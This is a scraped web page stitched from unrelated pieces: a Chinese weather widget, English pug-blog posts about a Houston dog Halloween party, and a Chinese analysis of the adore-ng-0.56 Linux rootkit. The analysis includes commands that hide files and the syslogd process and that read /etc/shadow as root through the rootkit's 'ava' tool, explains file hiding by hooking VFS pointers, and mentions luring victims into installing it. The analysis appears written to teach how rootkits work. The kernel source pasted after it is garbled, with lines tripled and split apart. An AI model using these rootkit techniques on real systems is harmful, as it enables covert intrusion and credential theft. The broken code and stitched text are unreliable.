最近查看的地点&F
最近查看的国家/地区
English (US)
Español
Français
Português
Nederlands
中文 (SIM)
中文 (Taiwan)
Español (Argentina)
Español (Latin America)
Sloven?inu
Català
Português (Brazil)
русский
Ελληνικ?
English (UK)
TÜRKÇE
Français (Canada)
Укра?нське
Bahasa Indonesia
български
Eesti keeles
?аза?ша
Македонски
Bahasa Melayu
Ti?ng Vi?t
Crnogorski
Az?rbaycanca
最近查看的国家/地区
注：查找国家/地区前请先选择区域
Leadore, 爱达荷州
最近查看的地点
平均温度高温/低温
57°/37°
63°/36°
59°/41°
63°/36°
70°/30°
64°/36°
81°/36°
64°/36°
81°/41°
64°/37°
73°/48°
65°/37°
55°/41°
65°/37°
64°/34°
65°/38°
72°/36°
66°/38°
75°/36°
66°/38°
81°/39°
66°/38°
75°/39°
66°/39°
46°/34°
67°/39°
55°/30°
67°/39°
57°/37°
67°/40°
57°/30°
68°/40°
41°/32°
68°/40°
55°/37°
68°/40°
63°/39°
68°/41°
64°/39°
68°/41°
72°/36°
69°/41°
77°/37°
69°/42°
81°/41°
69°/42°
70°/45°
69°/42°
61°/36°
70°/42°
66°/45°
70°/42°
72°/39°
70°/43°
79°/37°
70°/43°
82°/43°
70°/43°
82°/45°
70°/43°
90°/45°
71°/44°
温度曲线图 五月 2017
Custom SearchPowered by
Site design by
We are so excited ’s Howl-O-Ween
Party this Friday October 29th 6pm-9pm.
It will be at the enclosed courtyard downstairs from
Houston dog boutique.
They will have a scary dog costume fashion show (entry is $10, prize is $200 Gift Card ), toy bobbing, dog hair painting, dog nail painting, raffle (grand prize is studio session with ), silent auction, and more!
We are so excited!
They will have a live DJ to host the event and entertain the humans.
Kim Hartz Photography will be there to take precious and memory photos of everydoggy and their human.
Hope to see y’all there!
RSVP early for goodie bag and free raffle ticket.
Just another fun chill weekend. We love chilling on the sofa and watching movies on the weekend.
We are very excited ’s 2nd Annual Halloween Dog Paw-ty!
Here’s the video from last year.
Wondering what we should dress up as and if we should do a theme of some sort…we do that every year but it’s just so much fun.
It’s so hard to choose with all these cute .
Every year we can’t decide until the last minute and then the ones we want are sold of our sizes!
Check them out at .
Which ones do you like best for Puggies?
If you are in the Houston area, come and pawty with us on October 29th!
After watching this video, I am inspired to teach Porky and Brownie some tricks.
Unfortunately they just do whatever they want and are very spoiled.
Things are going to change!
Chilling at home. Another lazy Sunday of watching NCIS and 007 reruns. Life is good.
Porky and Brownie are always fighting and up to Pug shenanigans.
But at night the moment of truth comes out, deep down inside they love eah other!
Brownie hates it when it rains. He refuses to potty outside.
He is such a big baby and wants to go to work with me.
Porky and Brownie are loving being pampered…we feel bad for not taking them on vacation with us. They got new beds!
Porky & Brownie both love to dress up and get lots of attention!
makes all these cute and stylish organic
The size XL was a bit snug for the Pugs.
We emailed the designer with love and praised, and begged for a larger size.
To convince them, we sent lots of cute pictures of the Pugs wearing clothes.
We wanted to show them that small dogs are not the only ones who love to dress up.
And a few weeks later, they came through.
comes in size xxl, which is perfect for Pugs, Boston Terriers, Brussels Griffin, and French Bulldogs.
What do you think?当前位置： >>
adore-ng-0.56
Adore-ng-0.56 rootkit 黑客软件剖析黑客软件也见过一些，但如 adore-ng-0.56 那样简洁的确不多见，忍不住想剖析一下，与大 家共享。 Adore-ng-0.56 是个 rootkit 黑客软件，同其他黑客软件一样，要达到的目的就是能不是 root 用户但能象 root 用户一样使用机器。 很多黑客软件也是要达到上面这个黑客行业的最终目的 （但最近好像黑客行业的最终目的已脱离 技术，能非法的弄到钱才是目的。尤其在中国） ，但关键是，Adore-ng-0.56 的实现是如此简 洁漂亮，让人折服。 Adore-ng-0.56 作为一个黑客软件要实现下面几个必备的功能： 1. 文件隐藏 2. 进程隐藏 3. 端口隐藏 4. 清理犯罪现场 5. 象 root 一样发布命令 6. “托” （你得让别人乖乖的安装 Adore-ng-0.56） 在下文，我将对每个主题做详细的源码剖析。学会了，可别干坏事！^_^使用简介在剖析以前， 最好先使用一下 Adore-ng-0.56， 这样可以增加一些感性认识。 Adore-ng-0.56 支持 Linux 的 2.4 和 2.6 内核 （当前是 2.6 内核）我正好有运行在 Vmware 虚拟机中的 Redhat ， 8.0（2.4.18 内核） ，所以就在 2.4 上试一下吧。由于 Redhat 8.0 的内核是被红帽公司定制过的，所以我下载了官方版本的 2.4.18 内核，同 时习惯性地打上 kernel debugger 的补丁，也就是你在上图中看到的第一行（其中 O1 是表 示优化级别 1，一般的内核编译都是优化级别 2，我修改了 Makefile，本来是想改成没有优化 的，但一编译，吓死人，全是错。看来光改编译选项还不够，哪位高手尝试过，如能告知，非常 感谢） 。 我先用普通用户登录：我登录的用户名是wzhou，adore-ng-0.56被我安装在“/home/wzhou/hacking/adore-ng”目录下。 首先当然是要运行 adore-ng-0.56 的核心部分（adore-ng-0.56 具体有哪几部分，在下一 节详细介绍） 。但这部分必须拥有 root 权限才能运行。没办法，先切换到 root 用户再执行。从 上 图 可 见 ， 先 su 到 root 用 户 ， 然 后 执 行 ./startadore 脚 本 。 这 里 启 动 的 是 adore-ng-0.56 的核心。 接下来就是看看 adore-ng-0.56 是怎样使用的。通过 su C wzhou 命令，再次切换到普通用户状态。Adore-ng-0.56 有个控制程序叫 ava。上面就是运行 ava 后的用法提示。它可以隐藏文件（hide file） ，恢复隐藏文件（unhide file） ，隐藏进程（make PID invisible） ，恢复隐藏进程（make PID visible） ，用 root 用户发布命令（execute as root） 。 让我们试一下吧！ 隐藏文件或目录在 wzhou 的 home 目录下有个文件“test”(上图中用红框框起来的)，让我们来隐藏它。运行命令 hacking/adore-ng/ava h ./test，ava 告诉我们该文件被成功隐藏。验证一下。果然没有看到“test”文件。 如果你用 hacking/adore-ng/ava u ./test 命令，则可以再次看到该文件。 隐藏进程 让我们先看一下当前系统中运行的进程列表（使用 ps aux 命令） 。我们来隐藏掉上图中用红框框起来的 syslogd 进程（PID 为 206） 。运行命令 hacking/adore-ng/ava I 206，ava 报告它成功隐藏 PID 为 206 的进程。再运行 ps aux 来查看，发现看不到 PID 为 206 的 syslogd 进程了。 如果你用 hacking/adore-ng/ava v 206 命令，则可以再次看到该进程。 用 root 来发布命令 无论是隐藏文件还是进程，其目的就是为了不被发现，以便实现非法的运行某些命令。比如，在 /etc 目录下的 shadow 文件是只有 root 权限的用户才可以看的，见下面：Wzhou 是普通用户，想通过 cat /etc/shadow 是不被允许的。但通过 ava，你就能看到该文 件。你只要运行下面的命令“hacking/adore-ng/ava r /bin/cat /etc/shadow” 。 （该文件中有我的密码，就不截屏给你看了！ ） 看了上面一些演示，你可能有个疑问，要使用 adore-ng-0.56，必须先有 root 权限来运行它 的核心（startadore 脚本） ，然后才能进行正常的黑客工作。那我既然都有了 root 权限,干 嘛还费劲地用普通用户来运行 ava 以获得 root 的权限来执行命令，这不是搞笑吗？在这个演示的例子中是这样，运行 adore-ng-0.56 核心的是你，使用 adore-ng-0.56 控制界面的也 是你，但在实际的黑客工作中，运行 adore-ng-0.56 核心的是那些受骗上当的“肉鸡”主人 们。至于怎么使他们上当，在下面“托”一节会介绍。Adore-ng-0.56 构成介绍下面介绍 adore-ng-0.56 的构成，分为两部分介绍。应用构成成功编译 adore-ng-0.56 后，主要生成如下两部分，adore-ng.o 和 ava。Adore-ng.o 是 Linux 下的 LKM（Loadable Kernel Module） ，即驱动程序。而 ava 是 adnore-ng 黑客 软件的控制界面。脚本 startadore 会安装 adore-ng.o 模块（必须有 root 权限） ，然后以 普通用户运行 ava 控制界面，会输出如下提示： Usage: ./ava {h,u,r,R,i,v,U} [file or PID] I print info (secret UID etc) h hide file u unhide file r execute as root R remove PID forever U uninstall adore i make PID invisible v make PID visible源文件构成[wzhou@dcmp10 adore-ng]$ ls -l total 232 -rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rwxr-xr-x drwxr-xr-x -rw-r--r--rw-r--r-1 wzhou wzhou 16165 Feb 1 wzhou wzhou 14460 Feb 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 2 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1523 Feb 2 9 2 2007 adore-ng-2.6.c 2005 adore-ng.c 2007 adore-ng.h 2003 adore-ng.mod.c 2005 ava.c 2006 Changelog 2005 cleaner.c 2006 configure 2006 CVS 2005 FEATURES 2004 irq_vectors.h324 Jul 24 4695 Feb 93710 Mar 16 2003 Feb 94386 Mar 16 4096 Dec 51424 Apr 18 198 May 5-rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rwxr-xr-x -rwxr-xr-x -rwxr-xr-x -rw-r--r--rw-r--r--1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou 1 wzhou wzhou4148 Feb 2527 Feb 1660 Feb 1127 Feb 760 Feb2 9 9 2 82007 libinvisible.c 2005 libinvisible.h 2005 LICENSE 2007 Makefile.2.6 2005 Makefile.2.6.gen 2005 Makefile.gen 2005 README 2007 README.26 2004 relink 2005 relink26 2005 startadore 2003 symsed.c 2004 visible-start.c747 Apr 18 6109 Apr 18 2364 Feb 2930 May 26 1175 Apr 18 218 Apr 18 1127 Dec 23 454 Feb 281. 内核模块相关文件（adore-ng 的核心，LKM 就由这些文件编译生成） 2.4 内核用到的文件 adore-ng.c（这是整个黑客软件的核心，Loadable Kernel Module） ，adore-ng.h， cleaner.c（本文件非常简单，也被编译成 LKM，目的是为了隐藏上面的核心模块） 2.6 内核用到的文件 adore-ng-2.6.c，adore-ng.h，cleaner.c，irq_vectors.h 2. 库文件（为 adore-ng 的内核部分，LKM，提供一个用户态的库接口，控制界面 ava 就通 过该库与 LKM 部分打交道） libinvisible.c，libinvisible.h 3. adore-ng 控制界面文件（也就是你能感受到的 adore-ng） ava.c 4. 辅助文件 symsed.c，relink（2.4 内核用脚本） ，relink26（2.6 内核用脚本） ，startadore （脚本） 编译生成的 LKM 还不够“黑” ，还需要这里的一些小脚本来使它真正的“黑” 。具体介绍见 下文。 5. 其他 另外的都是编译配置 adore-ng 用的文件（忽略） 。实现剖析隐藏文件 （目录） 隐藏进程， ， 隐藏端口， 清理犯罪现场， 这一切都是为了增加 adore-ng-0.56 存活的机率（这也是几乎所有黑客软件都要面对的问题） 。黑客软件的目的是为了完全控制被入 侵的机器，但要达成该目的，首先要活着，要不被发现。可以说“隐身”是黑客软件的必备技能。文件（目录）隐藏要隐藏文件（目录） ，首先要明白在 Linux 下，用户是怎样知道有某个文件存在的。1. 普通用户的视角 运行 ls，find 之类命令来查看某个目录下是否有要找的文件。这样就有了用黑客自己的 ls，find 命令来替换此类命令来实现文件（目录）隐藏的方法。但实践证明这种方法很容 易露馅，现在一般不太用了。 2. 程序员的视角 无论是 ls 还是 find 都是通过调用系统调用（system call）来与内核打交道的，让我们 用 strace 来看一下吧。通过 strace 来监视 ls 程序的系统调用序列。下面是 strace 监控到的系统调用中我们关 心的部分（全部输出太长，我只摘取有用的） 。 open(&.&, O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3 fstat64(3, {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0 = 0 fcntl64(3, F_SETFD, FD_CLOEXEC) = 0 fcntl64(3, F_SETFD, FD_CLOEXEC) = 0 fcntl64(3, F_SETFD, FD_CLOEXEC) brk(0x805e000) = 0x805e000 = 0x805e000 brk(0x805e000) brk(0x805e000) = 0x805e000 getdents64(0x3, 0x805cfc8, 0xcf98) = 1464 = 0x805f000 brk(0x805f000) = 0x805f000 brk(0x805f000) brk(0x805f000) = 0x805f000 getdents64(0x3, 0x805cfc8, 0xcf98) = 0 close(3) = 0 ① ②③ ④ ⑤① 打开当前目录这个文件（目录是一种特殊的文件） ，并返回文件句柄 3 ② 取得当前目录文件的属性，比如大小,这里为 4096 ③ 通过 getdents64 系统调用来读取当前目录下的文件， 也就是你运行 ls 命令后看到的 ④ 同上 ⑤ 关闭代表当前目录文件的句柄 这里核心是 getdents64 系统调用，它会读取目录文件中的一个个目录项（directory entry） ，运行 ls 后能看到文件，就是因为它返回的这些目录项。 那要隐藏文件（目录） ，自然就是使得该系统调用要忽略特定的目录项（代表了我们要隐藏 的文件） 。比如，原本 getdents64 系统调用会返回如下 3 个目录项： 1. aaa 2. bbb （代表我们要隐藏的文件） 3. ccc如果我们能对 getdents64 调用进行干预，使得它只返回 1. aaa 2. ccc 那么 ls 命令就只会告诉我们当前目录只有 “aaa” “ccc” 和 这两个文件， 这就隐藏了 “bbb” 文件。 由于 getdents64（）是系统调用，所以要干预它，只能在内核中，通过驱动程序方式， 在 Linux 下就是 LKM 方式。目前有两种方法来“干预” 。 1. Hook 系统调用表（system call table）中的 getdents64 调用项 示意图如下： 原来的 system call table … getdents64 fcntl64 NULL security 新的 system call table … hook_getdents fcntl64 NULL security LKM code 过滤掉要隐藏的文件的 目录项 call getdents64这种 hook 系统调用表的方法在 Linux rootkit 中曾经流行一时，但现在已经式微，因为 反黑客软件通过检查系统调用表（与干净的该系统调用表的备份一比较）就能发现有黑客软 件驻留。 2. 通过修改 VFS(Virtual File Switch)中的相关函数指针来实现隐藏文件 这是比较新，也是让反黑客软件比较头痛的一种方法。所谓 VFS 是 Linux 在实际文件系统 上抽象出的一个文件系统模型，我的理解是 VFS 就象 C++中的 abstract class（记住不 是 interface，因为 VFS 中有很实际的代码，一些各个文件系统通用的逻辑都在该父类中 被实现） ，而各个具体的文件系统,比如象 ext2，minix，vfat 等，则是 VFS 这个抽象类 的子类。具体介绍请参见 Linux 内核名著《Understanding The Linux Kernel， 3rd Edition》或我写的一篇文章《MINIX File System 探析》 。 Adore-ng-0.56 用的就是这种方法隐藏的文件。 让我们循着 Linux2.4.18 的内核代码看一下 getdents64 系统调用时怎么实现的。asmlinkage long sys_getdents64(unsigned int fd, void * dirent, unsigned int count) {struct file * struct file * s truct f ile * struct linux_dirent6 4 * struct linux_dirent64 * s truct l inux_dirent64 * struct getdents_call back6 4 struct getdents_callback64 s truct g etdents_callback64error = -EBADF; error = -EBADF; e rror = - EBADF; file = fget(fd); file = fget(fd); f ile = f get(fd); if (!file) if (!file) i f ( !file)buf.current_dir = (s truct linu x_d irent64 *) buf.current_dir = (struct linux_dirent64 *) b uf.current_dir = ( struct l inux_dirent64 * ) buf.previous = NULL; buf.previous = NULL; b uf.previous = N ULL; buf.count = buf.count = b uf.count = buf.error = 0; buf.error = 0; b uf.error = 0 ;error = vfs_readdir(file, filldir64, &buf); if (error & 0) if (error & 0) i f ( error & 0 ) goto out_ goto out_ g oto o ut_ error = buf. error = buf. e rror = b uf. lastdirent = buf. lastdirent = buf. l astdirent = b uf. if (lastdirent) { if (lastdirent) { i f ( lastdirent) { struct linux_dirent64 struct linux_dirent64 s truct l inux_dirent64 d.d_off = file-&f_ d.d_off = file-&f_ d .d_off = f ile-&f_这是读取目录函数copy_to_user(&lastdirent- &d_of f, &d.d_of f, si zeof( d.d_o ff)); copy_to_user(&lastdirent-&d_off, &d.d_off, sizeof(d.d_off)); c opy_to_user(&lastdirent-&d_off, & d.d_off, s izeof(d.d_off)); error = count - buf. error = count - buf. e rror = c ount - b uf. } } }out_putf: out_putf: out_putf: fput(file); fput(file); f put(file); out: out: out: }看一下 vfs_readdir（）函数int vfs_readdir(struct file *file, filldir_t filler, void *buf) { struct inode *inode = fil e-&f_ den try-&d_ struct inode *inode = file-&f_dentry-&d_ s truct i node * inode = f ile-&f_dentry-&d_ int res = -ENOTDIR; int res = -ENOTDIR; i nt r es = - ENOTDIR; if (!file-&f_op || ! file- &f_op -&r eaddir) if (!file-&f_op || !file-&f_op-&readdir) i f ( !file-&f_op | | ! file-&f_op-&readdir) down(&inode-&i_sem); down(&inode-&i_sem); d own(&inode-&i_sem); down(&inode-&i_zombi e); down(&inode-&i_zombie); d own(&inode-&i_zombie); res = -ENOENT; res = -ENOENT; r es = - ENOENT; if (!IS_DEADDIR(inod e)) { if (!IS_DEADDIR(inode)) { i f ( !IS_DEADDIR(inode)) {lock_kernel(); lock_kernel(); l ock_kernel(); res = file-&f_op-&readdir(file, buf, filler); unlock_kernel(); unlock_kernel(); u nlock_kernel(); } } } up(&inode-&i_zombie); up(&inode-&i_zombie); u p(&inode-&i_zombie); up(&inode-&i_sem); up(&inode-&i_sem); u p(&inode-&i_sem); out: out: out: } 这儿是关键上面 file-&f_op-&readdir(file, buf, filler)就是去调用实际文件系统的读取目录 项函数（毕竟 VFS 是抽象的文件系统，是空中楼阁） 。 这里的变量 file 是如下结构：struct file { struct list_head f_ struct dentry struct vfsmount struct file_operations atomic_t unsigned int mode_t loff_t unsigned long struct fown_struct unsigned int int f_ f_ f_ f_ f_reada, f_ramax, f_raend, f_ralen, f_ f_ *f_ *f_ *f_f_uid, f_ f_unsigned longf_/* needed for tty driver, and maybe others */ void *private_/* preallocated helper kiobuf to speedup O_DIRECT */ struct kiobuf long }; *f_ f_iobuf_而 file-&f_op 是如下结构：/* * NOTE: * read, write, poll, fsync, readv, writev can be called * */ struct file_operations { without the big kernel lock held in all filesystems.struct module * loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char *, size_t, loff_t *); ssize_t (*write) (struct file *, const char *, size_t, loff_t *); int (*readdir) (struct file *, void *, filldir_t); unsigned int (*poll) (struct file *, struct poll_table_struct *); int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, struct dentry *, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff_t *); ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff_t *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); };我们可以把 file-&f_op 看成是 file 这个 class 的纯虚函数集。 每个实际的文件系统都会有 自己的 file_operations 函数集。 当每次打开文件（再次强调一下，目录也是一种文件）时，内核都会对该文件所代表的 file_operations 赋值。比如你打开“aaa”目录，而该目录位于 ext2 文件系统上，则最终 会调用到 ext2 文件系统 driver 的 ext2_read_inode（）函数。在该函数中就会指定该目 录文件的 file_operations 函数集。见下面标红的代码：void ext2_read_inode (struct inode * inode) { struct buffer_head * struct buffer_head * s truct b uffer_head * struct ext2_inode * r aw_ struct ext2_inode * raw_ s truct e xt2_inode * r aw_ unsigned long block_ unsigned long block_ u nsigned l ong b lock_ unsigned long group_ unsigned long group_ u nsigned l ong g roup_ u u
u n struct ext2_group_de sc * struct ext2_group_desc * s truct e xt2_group_desc *if ((inode-&i_ino != EXT2 _ROOT _IN O && in ode-& i_ino != E XT2_A CL_ID X_INO && if ((inode-&i_ino != EXT2_ROOT_INO && inode-&i_ino != EXT2_ACL_IDX_INO && i f ( (inode-&i_ino ! = E XT2_ROOT_INO & & i node-&i_ino ! = E XT2_ACL_IDX_INO & & inode-&i_ino != EXT2_ACL_DATA_INO && inode-&i_ino != EXT2_ACL_DATA_INO && inode-&i_ino != EXT2_ACL_DATA_INO && inode-&i_ino & EXT2_FIRST_INO(inode-&i_sb)) || inode-&i_ino & EXT2_FIRST_INO(inode-&i_sb)) || inode-&i_ino & EXT2_FIRST_INO(inode-&i_sb)) || inode-&i_ino & le32_to_cpu(inode-&i_sb-&u.ext2_sb.s_es-&s_inodes_count)) { inode-&i_ino & le32_to_cpu(inode-&i_sb-&u.ext2_sb.s_es-&s_inodes_count)) { inode-&i_ino & le32_to_cpu(inode-&i_sb-&u.ext2_sb.s_es-&s_inodes_count)) { ext2_error (inode-&i_sb, & ext2 _read_inod e&, ext2_error (inode-&i_sb, &ext2_read_inode&, e xt2_error ( inode-&i_sb, & ext2_read_inode&,&bad inode number: %lu&, inode-&i_ino); &bad inode number: %lu&, inode-&i_ino); &bad inode number: %lu&, inode-&i_ino); goto bad_ goto bad_ g oto b ad_ } } } block_group = (inode -&i_i no - 1 ) / EXT2_ INODE S_PER _GROU P(ino de-&i _sb); block_group = (inode-&i_ino - 1) / EXT2_INODES_PER_GROUP(inode-&i_sb); b lock_group = ( inode-&i_ino - 1 ) / E XT2_INODES_PER_GROUP(inode-&i_sb); if (block_group &= i node- &i_sb -&u .ext2_s b.s_g roups _coun t) { if (block_group &= inode-&i_sb-&u.ext2_sb.s_groups_count) { i f ( block_group & = i node-&i_sb-&u.ext2_sb.s_groups_count) { ext2_error (inode-&i_sb, & ext2 _read_inod e&, ext2_error (inode-&i_sb, &ext2_read_inode&, e xt2_error ( inode-&i_sb, & ext2_read_inode&, &group &= groups count&); &group &= groups count&); & group & = g roups c ount&); goto bad_ goto bad_ g oto b ad_ } } } group_desc = block_g roup & & EX T2_ DESC_PE R_BLO CK_BI TS(in ode-& i_sb) ; group_desc = block_group && EXT2_DESC_PER_BLOCK_BITS(inode-&i_sb); g roup_desc = b lock_group & & E XT2_DESC_PER_BLOCK_BITS(inode-&i_sb); desc = block_group & (EXT 2_DES C_P ER_BLOC K(ino de-&i _sb) - 1); desc = block_group & (EXT2_DESC_PER_BLOCK(inode-&i_sb) - 1); d esc = b lock_group & ( EXT2_DESC_PER_BLOCK(inode-&i_sb) - 1 ); bh = inode-&i_sb-&u. ext2_ sb.s_ gro up_desc [grou p_des c]; bh = inode-&i_sb-&u.ext2_sb.s_group_desc[group_desc]; b h = i node-&i_sb-&u.ext2_sb.s_group_desc[group_desc]; if (!bh) { if (!bh) { i f ( !bh) { ext2_error (inode-&i_sb, & ext2 _read_inod e&, ext2_error (inode-&i_sb, &ext2_read_inode&, e xt2_error ( inode-&i_sb, & ext2_read_inode&, &Descriptor not loaded&); &Descriptor not loaded&); &Descriptor not loaded&); goto bad_ goto bad_ g oto b ad_ } } }gdp = (struct ext2_g roup_ desc * ) bh-&b_ gdp = (struct ext2_group_desc *) bh-&b_ g dp = ( struct e xt2_group_desc * ) b h-&b_ /* /* /* * Figure out the offset within the block group inode table * Figure out the offset within the block group inode table * F igure o ut t he o ffset w ithin t he b lock g roup i node t able */ */ */ offset = ((inode-&i_ ino - 1) % EX T2_INOD ES_PE R_GRO UP(in ode-& i_sb) ) * offset = ((inode-&i_ino - 1) % EXT2_INODES_PER_GROUP(inode-&i_sb)) * o ffset = ( (inode-&i_ino - 1 ) % E XT2_INODES_PER_GROUP(inode-&i_sb)) * EXT2_INODE_SIZE(inode-&i_ sb); EXT2_INODE_SIZE(inode-&i_sb); E XT2_INODE_SIZE(inode-&i_sb); block = le32_to_cpu( gdp[d esc]. bg_ inode_t able) + block = le32_to_cpu(gdp[desc].bg_inode_table) + b lock = l e32_to_cpu(gdp[desc].bg_inode_table) + (offset && EXT2_BLOCK_SIZ E_BIT S(inode-&i _sb)) ; (offset && EXT2_BLOCK_SIZE_BITS(inode-&i_sb)); ( offset & & E XT2_BLOCK_SIZE_BITS(inode-&i_sb)); if (!(bh = sb_bread( inode -&i_s b, block)) ) { if (!(bh = sb_bread(inode-&i_sb, block))) { i f ( !(bh = s b_bread(inode-&i_sb, b lock))) { ext2_error (inode-&i_sb, & ext2 _read_inod e&, ext2_error (inode-&i_sb, &ext2_read_inode&, e xt2_error ( inode-&i_sb, & ext2_read_inode&, &unable to read inode block - & &unable to read inode block - & &unable to read inode block - & &inode=%lu, block=%lu&, inode-&i_ino, block); &inode=%lu, block=%lu&, inode-&i_ino, block); &inode=%lu, block=%lu&, inode-&i_ino, block); goto bad_ goto bad_ g oto b ad_ } } } offset &= (EXT2_BLOC K_SIZ E(ino de- &i_sb) - 1); offset &= (EXT2_BLOCK_SIZE(inode-&i_sb) - 1); o ffset & = ( EXT2_BLOCK_SIZE(inode-&i_sb) - 1 ); raw_inode = (struct e xt2_ inode *) (bh-&b _data + of fset) ; raw_inode = (struct ext2_inode *) (bh-&b_data + offset); r aw_inode = ( struct e xt2_inode * ) ( bh-&b_data + o ffset);inode-&i_mode = le16 _to_c pu(ra w_i node-&i _mode ); inode-&i_mode = le16_to_cpu(raw_inode-&i_mode); i node-&i_mode = l e16_to_cpu(raw_inode-&i_mode); inode-&i_uid = (uid_ t)le1 6_to_ cpu (raw_in ode-& i_uid _low) ; inode-&i_uid = (uid_t)le16_to_cpu(raw_inode-&i_uid_low); i node-&i_uid = ( uid_t)le16_to_cpu(raw_inode-&i_uid_low); inode-&i_gid = (gid_ t)le1 6_to_ cpu (raw_in ode-& i_gid _low) ; inode-&i_gid = (gid_t)le16_to_cpu(raw_inode-&i_gid_low); i node-&i_gid = ( gid_t)le16_to_cpu(raw_inode-&i_gid_low); if(!(test_opt (inode -&i_s b, NO _UI D32))) { if(!(test_opt (inode-&i_sb, NO_UID32))) { i f(!(test_opt ( inode-&i_sb, N O_UID32))) { inode-&i_uid |= le16_to_c pu(ra w_inode-&i _uid_ high) && 1 6; inode-&i_uid |= le16_to_cpu(raw_inode-&i_uid_high) && 16; i node-&i_uid | = l e16_to_cpu(raw_inode-&i_uid_high) & & 1 6; inode-&i_gid |= le16_to_c pu(ra w_inode-&i _gid_ high) && 1 6; inode-&i_gid |= le16_to_cpu(raw_inode-&i_gid_high) && 16; i node-&i_gid | = l e16_to_cpu(raw_inode-&i_gid_high) & & 1 6; } } } inode-&i_nlink = le1 6_to_ cpu(r aw_ inode-& i_lin ks_co unt); inode-&i_nlink = le16_to_cpu(raw_inode-&i_links_count); i node-&i_nlink = l e16_to_cpu(raw_inode-&i_links_count); inode-&i_size = le32 _to_c pu(ra w_i node-&i _size ); inode-&i_size = le32_to_cpu(raw_inode-&i_size); i node-&i_size = l e32_to_cpu(raw_inode-&i_size);inode-&i_atime = le3 2_to_ cpu(r aw_ inode-& i_ati me); inode-&i_atime = le32_to_cpu(raw_inode-&i_atime); i node-&i_atime = l e32_to_cpu(raw_inode-&i_atime); inode-&i_ctime = le3 2_to_ cpu(r aw_ inode-& i_cti me); inode-&i_ctime = le32_to_cpu(raw_inode-&i_ctime); i node-&i_ctime = l e32_to_cpu(raw_inode-&i_ctime); inode-&i_mtime = le3 2_to_ cpu(r aw_ inode-& i_mti me); inode-&i_mtime = le32_to_cpu(raw_inode-&i_mtime); i node-&i_mtime = l e32_to_cpu(raw_inode-&i_mtime); inode-&u.ext2_i.i_dt ime = le32 _to _cpu(ra w_ino de-&i _dtim e); inode-&u.ext2_i.i_dtime = le32_to_cpu(raw_inode-&i_dtime); i node-&u.ext2_i.i_dtime = l e32_to_cpu(raw_inode-&i_dtime); /* We now have enoug h fie lds t o c heck if the i node was a ctiv e or n ot. /* We now have enough fields to check if the inode was active or not. / * W e n ow h ave e nough f ields t o c heck i f t he i node w as a ctive o r n ot. * This is needed because nfsd might try to access dead inodes * This is needed because nfsd might try to access dead inodes * T his i s n eeded b ecause n fsd m ight t ry t o a ccess d ead i nodes * the test is that same one that e2fsck uses * the test is that same one that e2fsck uses * t he t est i s t hat s ame o ne t hat e 2fsck u ses * NeilBrown 1999oct15 * NeilBrown 1999oct15 * N eilBrown 1 999oct15 */ */ */ if (inode-&i_nlink = = 0 & & (in ode -&i_mod e == 0 || i node -&u.e xt2_i .i_dt ime)) { if (inode-&i_nlink == 0 && (inode-&i_mode == 0 || inode-&u.ext2_i.i_dtime)) { i f ( inode-&i_nlink = = 0 & & ( inode-&i_mode = = 0 | | i node-&u.ext2_i.i_dtime)) { /* this inode is deleted */ /* this inode is deleted */ / * t his i node i s d eleted * / brelse (bh); brelse (bh); b relse ( bh); goto bad_ goto bad_ g oto b ad_ } } } inode-&i_blksize = P AGE_S IZE; /* This is th e optimal IO size (for stat), not the f s inode-&i_blksize = PAGE_SIZE; /* This is th e optimal IO size (for stat), not the f s i node-&i_blksize = P AGE_SIZE; / * This is th e optimal IO s ize (for stat), not the f s block size */ block size */ block s ize * / inode-&i_blocks = le 32_to _cpu( raw _inode- &i_bl ocks) ; inode-&i_blocks = le32_to_cpu(raw_inode-&i_blocks); i node-&i_blocks = l e32_to_cpu(raw_inode-&i_blocks); inode-&i_version = + + inode-&i_version = ++ i node-&i_version = + + inode-&u.ext2_i.i_fl ags = le32 _to _cpu(ra w_ino de-&i _flag s); inode-&u.ext2_i.i_flags = le32_to_cpu(raw_inode-&i_flags); i node-&u.ext2_i.i_flags = l e32_to_cpu(raw_inode-&i_flags); inode-&u.ext2_i.i_fa ddr = le32 _to _cpu(ra w_ino de-&i _fadd r); inode-&u.ext2_i.i_faddr = le32_to_cpu(raw_inode-&i_faddr); i node-&u.ext2_i.i_faddr = l e32_to_cpu(raw_inode-&i_faddr); inode-&u.ext2_i.i_fr ag_no = ra w_i node-&i _ inode-&u.ext2_i.i_frag_no = raw_inode-&i_ i node-&u.ext2_i.i_frag_no = r aw_inode-&i_ inode-&u.ext2_i.i_fr ag_si ze = r aw _inode- &i_ inode-&u.ext2_i.i_frag_size = raw_inode-&i_ i node-&u.ext2_i.i_frag_size = r aw_inode-&i_ inode-&u.ext2_i.i_fi le_ac l = l e32 _to_cpu (raw_ inode -&i_f ile_a cl); inode-&u.ext2_i.i_file_acl = le32_to_cpu(raw_inode-&i_file_acl); i node-&u.ext2_i.i_file_acl = l e32_to_cpu(raw_inode-&i_file_acl); if (S_ISREG(inode-&i _mode )) if (S_ISREG(inode-&i_mode)) i f ( S_ISREG(inode-&i_mode)) inode-&i_size |= ((__u64) le32_ to_cpu(raw _inod e-&i_ size_ high) ) && 32; inode-&i_size |= ((__u64)le32_to_cpu(raw_inode-&i_size_high)) && 32; 